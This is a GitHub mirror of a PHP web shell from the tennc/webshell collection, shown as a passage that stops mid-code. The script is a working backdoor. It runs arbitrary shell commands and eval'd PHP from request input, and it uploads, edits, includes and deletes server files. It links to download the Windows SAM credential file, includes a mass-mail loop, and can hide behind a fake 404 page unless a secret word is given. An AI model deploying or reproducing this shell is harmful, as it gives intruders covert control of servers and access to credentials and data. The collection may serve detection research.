mirror of
https://github.com/tennc/webshell
synced 2024-11-10 13:44:18 +00:00
1273 lines
No EOL
42 KiB
Text
1273 lines
No EOL
42 KiB
Text
<?PHP
|
|
/*
|
|
ver=5
|
|
----------------------Only For Priv8 Use---------------------------------
|
|
I dont support illegal actions!
|
|
-------------------------------------------------------------------------
|
|
dC3 Security Crew
|
|
-------------------------------------------------------------------------
|
|
By turning "on" safe you can make your shell in 404 Not Find mode if the user doesnt know your OWN set word!
|
|
-------------------------------------------------------------------------
|
|
Shell written by Bl0od3r
|
|
-------------------------------------------------------------------------
|
|
Easy file managing with a lot of features!
|
|
-------------------------------------------------------------------------
|
|
In work:
|
|
special file options
|
|
-------------------------------------------------------------------------
|
|
*/
|
|
//important
|
|
error_reporting(5);
|
|
@ignore_user_abort(true);
|
|
//
|
|
|
|
$safe="off";
|
|
$word="secret";
|
|
if ($safe=="on") {
|
|
if (!isset($_GET[$word])) {
|
|
header('HTTP/1.0 404 Not Found');
|
|
exit;
|
|
}
|
|
}
|
|
$made_by="Bl0od3r";
|
|
$of="Netplayazz";
|
|
($made_by=="Bl0od3r") ? $fake=0 : $fake=1;
|
|
($of=="dc3") ? $fake=0 : $fake=1;
|
|
$st_dir=".";
|
|
$p=str_replace("\\","/",realpath($_GET['file']));
|
|
$j_d=$_GET['file'];
|
|
$j_f=$_GET['file'];
|
|
$filename = $_GET['file'];
|
|
$file_info = pathinfo($filename);
|
|
$extn = $file_info['extension'];
|
|
|
|
|
|
if (isset($_GET['dir'])) {
|
|
$images = array(
|
|
"download"=>
|
|
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
|
|
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
|
|
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
|
|
"ext_wri"=>
|
|
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
|
|
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
|
|
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
|
|
"small_dir"=>
|
|
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
|
|
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
|
|
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
|
|
"dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAkFBMVEX////MmTT/zGezgRvLmDN/
|
|
f3/AjSi6hyK9iiWgbghra2vCjyr/5oGufBbHlC+jcQuwfhiIiIjJljGcagS1gh24hSCebAaZZwGa
|
|
aAK0gRzvvFfcqUT4xWC8iSRKSkqreRPCwsK/jCeodhDms06lcw23hB/ToDv/1G//4HvFki3/64X/
|
|
95Fqamr//////5n/9I54UBIWAAAAAXRSTlMAQObYZgAAAAFiS0dELc3aQT0AAAAWdEVYdFNvZnR3
|
|
YXJlAGdpZjJwbmcgMi40LjakM4MXAAAAiUlEQVR42oXOxxKCMBgE4CWhVwEp9i4Ekt/3fzuDE0Yd
|
|
D3633dnDAr8su0i/stKi40cmTfnebckXU2GPj8k0U0mui2KIxYu7q1acA2kv1CxWWQ7RWTTbUhAi
|
|
YjaNxppqCZcJGowLlRI+O1FvbKiV8FhFnXGnJgT0n+RwvmZBXbbN3tFPHPnm4L8nl3EWVP90I8IA
|
|
AAAASUVORK5CYII=",
|
|
"o.b" => "/9j/4AAQSkZJRgAB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
|
UfXgsdzaMhkEYAkEs+4YONNACBEVI48oB1UQAmcCjixmu+zXfZrvs132a77Nd9mu+zXfZrvs132a
|
|
77Nd9mu+zXfZrvs132a77M4vHcD0bsgCNLS0tLS0tLS0tLS0tLS0tLS0tIQCaCCAiIIRIYxgGAAE
|
|
DASu6kMCYrUEwf3KKyAa4AFNgEfJ07XjXnEUNgCkGnjzgoF87YASAqpafa6qSEAUEPAOQwIwUTBq
|
|
M4GXOYNycAq0VeCVEHAwaqASwJA3vKOkSCoKklVYxMho3wRgMTBArTKiAKJDmW1ZMYNg04tgNRQA
|
|
GRfqJaO7aLDIEaRCItkwsQioJeCRUlgMCuoUccoQc7MHmIirHwSa3ykQMExEkVRUH0VJkoAfoePN
|
|
LB4gFFJyQcCcfBIXbhwohAYUGGRgsMQ9QNhxcYrSACA4olyporJJQTAYmCrSWztEgkcivHkkjWVT
|
|
KECVLCNI5BU2AAEisiJBB8eTTWGAFQEBAOhizrgQGlgEml44rQwwYrgUMIDTlBFQzCyW1RRpsEBM
|
|
llACB+vB1rBwQDohIMs84NBEfCBQcNho4ThDyEQUlvwUCNLS0tLS0tLS0tLS0tLS0tLS32X3K0CG
|
|
YwXud1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1
|
|
yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3
|
|
XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yn
|
|
dcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcpi/Yhm9z//2gAI
|
|
AQIDAT8Q/rB//9oACAEDAwE/EP6wf//Z");
|
|
header("Content-type: image/gif");
|
|
header("Cache-control: public");
|
|
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
|
|
header("Cache-control: max-age=".(60*60*24*7));
|
|
header("Last-Modified: ".date("r",filemtime(__FILE__)));
|
|
echo base64_decode($images[$_GET['pic']]);
|
|
}
|
|
|
|
$ps=str_replace("\\","/",getenv('DOCUMENT_ROOT'));
|
|
//file_array
|
|
$file_tps=array(
|
|
"img"=>array("jpg","bmp","gif","ico"),
|
|
"act" => array("edit","copy","download","delete"),
|
|
"zip" => array("gzip","zip","rar")
|
|
);
|
|
$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
|
|
|
|
if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
|
|
if (empty($surl))
|
|
{
|
|
$surl = "?".$includestr; //Self url
|
|
}
|
|
$surl = htmlspecialchars($surl);
|
|
@ob_clean();
|
|
//end
|
|
if (isset($_GET['img'])) {
|
|
for ($i=0;$i<4;$i++) {
|
|
if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) {
|
|
header("Content-type: ".$inf["mime"]);
|
|
readfile(urldecode($filename));
|
|
exit;
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
if (!function_exists(download)) {
|
|
function download($file) {
|
|
header('Pragma: anytextexeptno-cache', true);
|
|
header('Content-type: application/force-download');
|
|
header('Content-Transfer-Encoding: Binary');
|
|
header('Content-length: '.filesize($file));
|
|
header('Content-disposition: attachment;
|
|
filename='.basename($file));
|
|
readfile($file);
|
|
exit;
|
|
}
|
|
}
|
|
if (isset($_GET['download'])) {
|
|
download($filename);
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['run'])) {
|
|
echo urldecode($_GET['file']);
|
|
include(urldecode($_GET['file']));
|
|
exit;
|
|
}
|
|
|
|
|
|
function check_update()
|
|
{
|
|
$cur_ver=5; //very important value for updates!Please dont change!
|
|
$newer=$cur_ver+1;
|
|
$url="http://dc3.dl.am/";
|
|
$file=@fopen($url."".$newer.".txt","r") or die ("No updates aviable!");
|
|
$text=fread($file,1000000);
|
|
if (preg_match("/ver=".$newer."/i", $text)) {
|
|
echo "[+]Update Aviable!...Please download new version from:";
|
|
echo "<br><a href=".$url.$newer.".txt>Version ".$newer."</a>";
|
|
} }
|
|
|
|
function get_perms($mode)
|
|
{
|
|
if (($mode & 0xC000) === 0xC000) {$type = "s";}
|
|
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
|
|
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
|
|
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
|
|
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
|
|
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
|
|
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
|
|
else {$type = "?";}
|
|
|
|
$owner["read"] = ($mode & 00400)?"r":"-";
|
|
$owner["write"] = ($mode & 00200)?"w":"-";
|
|
$owner["execute"] = ($mode & 00100)?"x":"-";
|
|
$group["read"] = ($mode & 00040)?"r":"-";
|
|
$group["write"] = ($mode & 00020)?"w":"-";
|
|
$group["execute"] = ($mode & 00010)?"x":"-";
|
|
$world["read"] = ($mode & 00004)?"r":"-";
|
|
$world["write"] = ($mode & 00002)? "w":"-";
|
|
$world["execute"] = ($mode & 00001)?"x":"-";
|
|
|
|
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
|
|
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
|
|
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
|
|
|
|
echo $type.join("",$owner).join("",$group).join("",$world);
|
|
}
|
|
|
|
|
|
|
|
if (!function_exists(get_space)) {
|
|
function get_space($dir) {
|
|
$free = @diskfreespace($dir);
|
|
if (!$free) {$free = 0;}
|
|
$all = @disk_total_space($dir);
|
|
if (!$all) {$all = 0;}
|
|
$used = $all-$free;
|
|
$used_f = @round(48.7/($all/$free),2);
|
|
echo "".$used_f."";
|
|
}
|
|
}
|
|
$sys=strtolower(substr(PHP_OS,0,3));
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr><td>";
|
|
echo "<img src=".$surl."?&".$word."&dir&pic=o.b height= width=>";
|
|
echo getenv('SERVER_SOFTWARE');
|
|
echo "<br>";
|
|
echo getenv('SERVER_NAME');
|
|
echo ":";
|
|
echo getenv('SERVER_PORT');
|
|
echo "<br>";
|
|
echo getenv('SERVER_ADMIN');
|
|
|
|
if ($sys=="win") {
|
|
echo "Windows";
|
|
echo "<br>";
|
|
echo "".getenv('COMPUTERNAME')."";
|
|
echo "<br>";
|
|
echo "Os:".getenv('OS')."";
|
|
} else {
|
|
echo "<br>Linux";
|
|
}
|
|
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
|
|
{
|
|
$safe=1;
|
|
echo "<br><font color=red>ON (secure)</font>";
|
|
} else {
|
|
$save=2;
|
|
if ($sys=="win") {
|
|
echo "<br><font color=green><a href=".$surl."?&".$word."&file_browser&file=C:/Windows/repair/sam&download>Off (not secure)</a></font>";
|
|
}
|
|
}
|
|
if (isset($_GET['file'])) {
|
|
echo "<br>Access:";
|
|
if (@is_readable($j_f)) {
|
|
echo "R";
|
|
}
|
|
if (@is_executable($j_f)) {
|
|
echo "E";
|
|
}
|
|
if (@is_writable($j_d)) {
|
|
echo "W";
|
|
}
|
|
echo "<br>Current_file:";
|
|
echo "<a href=".$surl."?&".$word."&file_browser&file=";
|
|
echo urlencode($p) ;
|
|
echo ">".$p."</a>";
|
|
}
|
|
echo "<br>";
|
|
echo "Start_dir:";
|
|
echo "   ";
|
|
echo "<a href=".$surl."?&".$word."&file_browser&file=";
|
|
echo urlencode($ps);
|
|
echo ">".$ps."</a>";
|
|
echo "<br>";
|
|
if (isset($_GET['file'])) {
|
|
echo "Free Space:";
|
|
get_space(urldecode($_GET['file']));
|
|
|
|
echo "gb";
|
|
}
|
|
echo "</td>";
|
|
?>
|
|
|
|
<style type="text/css">
|
|
body { background-color:#8B8989;font-family:trebuchet Ms; color:black }
|
|
|
|
textarea {
|
|
border-top-width: 1px;
|
|
font-weight: bold;
|
|
border-left-width: 1px;
|
|
font-size: 10px;
|
|
border-left-color: #8B8989;
|
|
background:#8B8989;
|
|
border-bottom-width: 1px;
|
|
border-bottom-color:#8B8989;
|
|
color: black;
|
|
border-top-color:#8B8989;
|
|
font-family: trebuchet Ms;
|
|
border-right-width: 1px;
|
|
border-right-color: #8B8989;
|
|
}
|
|
input {
|
|
border-top-width: 1px;
|
|
font-weight: bold;
|
|
border-left-width: 1px;
|
|
font-size: 10px;
|
|
border-left-color: #8B8989;
|
|
background: #8B8989;
|
|
border-bottom-width: 1px;
|
|
border-bottom-color: #8B8989;
|
|
color: black;
|
|
border-top-color:#8B8989;
|
|
font-family: trebuchet Ms;
|
|
border-right-width: 1px;
|
|
border-right-color:#8B8989;
|
|
}
|
|
td {
|
|
font-size: 10px;
|
|
font-family: verdana;
|
|
}
|
|
th {
|
|
font-size: 10px;
|
|
font-family: verdana;
|
|
}
|
|
a:link {
|
|
text-decoration: none;
|
|
}
|
|
a:visited {
|
|
text-decoration: none;
|
|
color:blue;
|
|
}
|
|
a:active {
|
|
text-decoration: none;
|
|
}
|
|
a:hover {
|
|
color: #00ff00;
|
|
text-decoration: none;
|
|
}
|
|
back {
|
|
background-color:grey;
|
|
}
|
|
ul#Navigation {
|
|
position:absolute;
|
|
width: 10em;
|
|
margin: 0; padding: 0.8em;
|
|
border: 1px solid #8B8989;
|
|
background-color: #8B8989;
|
|
}
|
|
* html ul#Navigation { /* Korrekturen fuer IE 5.x */
|
|
width: 11.6em;
|
|
w\idth: 10em;
|
|
padding-left: 0;
|
|
padd\ing-left: 0.8em;
|
|
}
|
|
ul#Navigation li {
|
|
list-style: none;
|
|
margin: 0.4em; padding: 0;
|
|
}
|
|
|
|
ul#Navigation a {
|
|
display:block;
|
|
padding: 0.2em;
|
|
text-decoration: none; font-weight: bold;
|
|
border: 1px solid black;
|
|
border-left-color: black; border-top-color: black;
|
|
color: black; background-color: #8B8989;
|
|
}
|
|
* html ul#Navigation a { /* Breitenangaben nur fuer IE */
|
|
width: 100%;
|
|
w\idth: 8.8em;
|
|
}
|
|
ul#Navigation a:hover {
|
|
border-color: white;
|
|
border-left-color: black; border-top-color: black;
|
|
color: white; background-color: #8B8989;
|
|
}
|
|
</style>
|
|
|
|
<?php
|
|
if (!function_exists(rename_all)) {
|
|
function rename_all($dir,$prefix,$name,$del) {
|
|
$r_dir=opendir($dir);
|
|
while (false !== ($file_r = readdir($r_dir))) {
|
|
if (@filetype($dir."/".$file_r)=="file") {
|
|
$i++;
|
|
@copy($dir."/".$file_r,$dir."/".$i.".".$prefix.$name) or die ("[-]Error renaming file : ".$file_r."");
|
|
if ($del=="yes") {
|
|
@unlink($dir."/".$file_r) or die ("[-]Error deleting file(s)!");
|
|
}
|
|
}
|
|
|
|
}
|
|
echo "Successfully renamed file(s)!";
|
|
}
|
|
}
|
|
|
|
|
|
|
|
if (!function_exists(get_perms)) {
|
|
function get_perms($file) {
|
|
if (@file_exists($file)) {
|
|
if (@is_readable($file)) {
|
|
echo "<b>R</b>";
|
|
}
|
|
if (@is_executable($file)) {
|
|
echo "<b>E</b>";
|
|
}
|
|
if (@is_writable($file)) {
|
|
echo "<b>W</b>";
|
|
}
|
|
} else {
|
|
echo "[-]Error";
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!function_exists(search_file)) {
|
|
function search_file($search,$dir) {
|
|
global $word;
|
|
global $surl;
|
|
$d_s=opendir($dir);
|
|
while (false !== ($file_s = readdir($d_s))) {
|
|
if (preg_match("/".$search."/i",$file_s)) {
|
|
echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($dir)."/".urlencode($file_s).">".$file_s."</a><br>";
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
if (!function_exists(copy_file)) {
|
|
function copy_file($file,$to) {
|
|
if (@file_exists($file)) {
|
|
@copy($file,$to) or die ("[-]Error copying file!");
|
|
echo "Successfully copied file!";
|
|
} else {
|
|
echo "[-]File Doesnt exist!";
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!function_exists(send_mail)) {
|
|
function send_mail($from,$to,$text,$subject,$times) {
|
|
while ($i<$times) {
|
|
$i++;
|
|
$header = "From: $from\r\n";
|
|
@mail($to, $subject, $text, $header) or die ("[-]Error sending mail(s)!");
|
|
|
|
}
|
|
echo "Successfully sent mail(s) to ".$to."!";
|
|
}
|
|
}
|
|
|
|
|
|
if (!function_exists(read_file)) {
|
|
function read_file($file) {
|
|
$file=@fopen($file,"r");
|
|
echo fread($file,10000);
|
|
fclose($file);
|
|
}
|
|
}
|
|
|
|
if (!function_exists(write_file)) {
|
|
function write_file($file,$text) {
|
|
if (@is_writable($file)) {
|
|
if (@file_exists($file)) {
|
|
$file_w=@fopen(urldecode($file),"w") or die ("[-]Error");
|
|
if (fwrite($file_w,$text)) {
|
|
echo "Successfully written to file(s)!";
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
echo "[-]Error";
|
|
exit;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
if (!function_exists(count_all)) {
|
|
function count_all($dir) {
|
|
$c_d=opendir($dir);
|
|
while (false !== ($file_c = readdir($c_d))) {
|
|
if (@filetype($dir."/".$file_c)=="file") {
|
|
$file_c_s++;
|
|
}
|
|
else
|
|
{
|
|
$dir_c++;
|
|
}
|
|
}
|
|
echo "Directories:";
|
|
echo $dir_c++;
|
|
echo "||";
|
|
echo "Files:";
|
|
echo $file_c_s;
|
|
}
|
|
}
|
|
|
|
if (!function_exists(check_access)) {
|
|
function check_access($file) {
|
|
if (@is_readable($file)) {
|
|
echo "R";
|
|
}
|
|
if (@is_executable($file)) {
|
|
echo "E";
|
|
}
|
|
if (@is_writable($file)) {
|
|
echo "W";
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!function_exists(clear_dir)) {
|
|
function clear_dir($dir) {
|
|
$o_d=opendir($dir);
|
|
while (false !== ($file = readdir($o_d))) {
|
|
if (@filetype(urldecode($_GET['file'])."/".$file)=="file") {
|
|
unlink(urldecode($dir)."/".$file) or die ("[-]Error @ file:".$file."");
|
|
}
|
|
}
|
|
echo "Successfully cleared directory!";
|
|
}
|
|
}
|
|
|
|
?>
|
|
|
|
|
|
<?php
|
|
// real code start !
|
|
|
|
|
|
if (isset($_GET['update'])) {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
check_update();
|
|
exit;
|
|
}
|
|
if (isset($_GET['rmdir'])) {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr><td>";
|
|
@rmdir($_GET['file']) or die ("[-]Error deleting dir!");
|
|
echo "Successfully deleted dir(s)!";
|
|
exit;
|
|
}
|
|
|
|
|
|
if (isset($_GET['upload'])) {
|
|
$uploaddir = urldecode($_POST['file']);
|
|
|
|
print "<pre>";
|
|
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir ."/". $_FILES['userfile']['name'])) {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
print "Successfully uploadet file(s)!";
|
|
} else {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
print "[-]Error";
|
|
}
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['search'])) {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
|
|
<tr><td>";
|
|
search_file($_POST['search'],urldecode($_POST['dir']));
|
|
exit;
|
|
}
|
|
|
|
|
|
|
|
|
|
if (isset($_GET['getenv'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
echo getenv($_GET['getenv']);
|
|
exit;
|
|
}
|
|
|
|
|
|
if (isset($_GET['php_info'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
phpinfo();
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['defined_vars'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
echo "<center><textarea rows=40 cols=120>";
|
|
$vars=get_defined_vars();
|
|
print_r($vars);
|
|
echo "</textarea>";
|
|
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['env'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
|
|
<thead><br>
|
|
<tr><td>";
|
|
$ary=get_defined_vars();
|
|
$it=array_keys($ary);
|
|
foreach ($it as $i) {
|
|
echo "<a href=".$surl."?&".$word."&getenv=".$i.">".$i."</a><br>";
|
|
|
|
}
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['play'])) {
|
|
echo "<embed src=".urlencode($filename)." autostart=true loop=true hidden=true height=0 width=0>";
|
|
exit;
|
|
}
|
|
|
|
|
|
if (isset($_GET['special_crypt'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
echo "<textarea rows=15 cols=90>";
|
|
if (isset($_POST['submit'])) {
|
|
$file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!");
|
|
$meth=$_POST['crypt'];
|
|
if ($meth=="1") {
|
|
echo htmlspecialchars(md5(fread($file,10000)));
|
|
} elseif ($meth=="2") {
|
|
echo htmlspecialchars(crypt(fread($file,10000)));
|
|
}
|
|
elseif ($meth=="3") {
|
|
echo htmlspecialchars(sha1(fread($file,10000)));
|
|
}
|
|
elseif ($meth=="4") {
|
|
echo htmlspecialchars(crc32(fread($file,10000)));
|
|
}
|
|
elseif ($meth=="5") {
|
|
echo htmlspecialchars(urlencode(fread($file,10000)));
|
|
}
|
|
|
|
elseif ($meth=="6") {
|
|
echo htmlspecialchars(urldecode(fread($file,10000)));
|
|
}
|
|
elseif ($meth=="7") {
|
|
echo htmlspecialchars(base64_encode(fread($file,10000)));
|
|
}
|
|
|
|
elseif ($meth=="8") {
|
|
echo htmlspecialchars(base64_decode(fread($file,10000)));
|
|
}
|
|
|
|
}
|
|
echo "</textarea><div align=left>";
|
|
|
|
?>
|
|
<form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&special_crypt method="post">
|
|
file: <input name="userfile" type="file"><br><br>
|
|
|
|
<input type="submit" value="Start" name="submit"><br>
|
|
<input type=radio name=crypt value=1>md5();<br>
|
|
<input type=radio name=crypt value=2>crypt();<br>
|
|
<input type=radio name=crypt value=3>sha1();<br>
|
|
<input type=radio name=crypt value=4>crc32();<br>
|
|
<input type=radio name=crypt value=5>urlencode();<br>
|
|
<input type=radio name=crypt value=6>urldecode();<br>
|
|
<input type=radio name=crypt value=7>base64_encode();<br>
|
|
<input type=radio name=crypt value=5>base64_decode();<br>
|
|
|
|
<?php
|
|
exit;
|
|
}
|
|
if (isset($_GET['crypt'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>?&<?php echo $word ?>&crypt method="post">
|
|
Crypt:<br>
|
|
<textarea rows=12 cols=120 name=crypt>
|
|
</textarea>
|
|
<?php
|
|
$text=$_POST['crypt'];
|
|
?>
|
|
md5:             <input size=40 type=text value=<?php echo htmlspecialchars(md5($text)) ?>><br><br>
|
|
|
|
crypt:             <input size=40 type=text value=<?php echo htmlspecialchars(crypt($text)) ?>><br><br>
|
|
|
|
sha1:             <input size=40 type=text value=<?php echo htmlspecialchars(sha1($text)) ?>><br><br>
|
|
|
|
crc32:             <input size=40 type=text value=<?php echo htmlspecialchars(crc32($text)) ?>><br><br>
|
|
|
|
urlencode:        <input size=40 type=text value=<?php echo htmlspecialchars(urlencode($text)) ?>><br><br>
|
|
|
|
urldecode:        <input size=40 type=text value=<?php echo htmlspecialchars(urldecode($text)) ?>><br><br>
|
|
|
|
base64_encode: <input type=text size=40 value=<?php echo base64_encode($text) ?>><br><br>
|
|
|
|
base64_decode: <input type=text size=40 value=<?php echo base64_decode($text) ?>><br><br>
|
|
<?php
|
|
echo "<input type=submit value=Start></form><form action=".$surl."?&".$word."&special_crypt method=post><input type=submit value=file_inload_crypt>";
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['php_code'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>&<?php echo $word ?>&php_code method="post">
|
|
|
|
<textarea rows=12 cols=120 name=code>
|
|
</textarea>
|
|
<textarea rows=12 cols=120 readonly>
|
|
<?php
|
|
eval($_POST['code']);
|
|
echo "</textarea>";
|
|
echo "<br><br><input type=submit value=Start>";
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['search_st'])) {
|
|
if (isset($_POST['search'])) {
|
|
search_file($_POST['search'],$_POST['dir']);
|
|
}
|
|
exit;
|
|
}
|
|
|
|
|
|
if (isset($_GET['rename_all'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
rename_all(urldecode($_POST['d']),$_POST['prefix'],$_POST['name'],$_POST['del']);
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['special_d'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
$way=$_POST['way'];
|
|
if ($way=="1") {
|
|
clear_dir($_GET['file']);
|
|
exit;
|
|
}
|
|
if ($way=="2") {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
|
|
<tr><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>?&<?php echo $word ?>&rename_all method="post">
|
|
Prefix:<br><input type="text" name="prefix"><br>
|
|
Name:<br><input type="text" name="name"><br>
|
|
<input type="hidden" name="d" value=<?php echo urlencode($filename) ?>>
|
|
Delete old files?:<input type="radio" name="del" value="yes"><br>
|
|
<br><input type="submit" value="Rename">
|
|
<?php
|
|
exit;
|
|
}
|
|
}
|
|
|
|
|
|
if (isset($_GET['special_dir'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead><br>
|
|
<tr><td>";
|
|
?>
|
|
|
|
<form action=<?php echo $surl ?>?&<?php echo $word ?>&special_d&file=<?php echo urlencode($filename) ?> method=post>
|
|
<input type="radio" name="way" value="1">Clear Dir<input type=hidden name=dir value=<?php echo urlencode($filename) ?>><br><br>
|
|
<input type="radio" name="way" value="2">Rename with prefix<br><br>
|
|
<input type="submit" name="sub" value="Start">
|
|
<?php
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['delete'])) {
|
|
if (@file_exists($filename)) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
@unlink($filename) or die ("[-]Error deleting file!");
|
|
echo "Successfully Deleted File!";
|
|
exit;
|
|
}
|
|
}
|
|
|
|
if (isset($_GET['save'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr><td>";
|
|
write_file(urldecode($_POST['file']),stripslashes($_POST['text']));
|
|
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['exec'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead>
|
|
<tr><td><center>";
|
|
@chdir(urldecode($_POST['dir']));
|
|
echo "<textarea rows=15 cols=114>";
|
|
echo shell_exec($_POST['command']);
|
|
echo "</textarea>";
|
|
exit;
|
|
}
|
|
|
|
|
|
if (isset($_GET['mkdir'])) {
|
|
if (isset($_POST['name'])) {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
mkdir(urldecode($_POST['dir'])."/".$_POST['name']) or die ("[-]Error creating dir!");
|
|
echo "Successfully created dir!";
|
|
}
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['mkfile'])) {
|
|
if (isset($_POST['name'])) {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr><td>";
|
|
$dir=urldecode($_POST['dir']);
|
|
$filed=$_POST['name'];
|
|
|
|
if (@file_exists($dir."/".$filed)) {
|
|
echo "[-]Allready exists!";
|
|
exit;
|
|
}
|
|
$file_c=@fopen($dir."/".$filed,"w") or die ("[-]Can't create file!");
|
|
echo "Scuessfully created file(s)!";
|
|
}
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['edit'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
if (@file_exists($filename)) {
|
|
echo "<form action=".$surl."?&".$word."&save method=post><textarea rows=15 cols=90 name=text>";
|
|
read_file($filename);
|
|
echo "</textarea><br><br><input type=hidden name=file value=".urlencode($_GET['file'])."><input type=submit name=sub value=Save>";
|
|
}
|
|
exit;
|
|
}
|
|
|
|
|
|
|
|
if (isset($_GET['copy_start'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
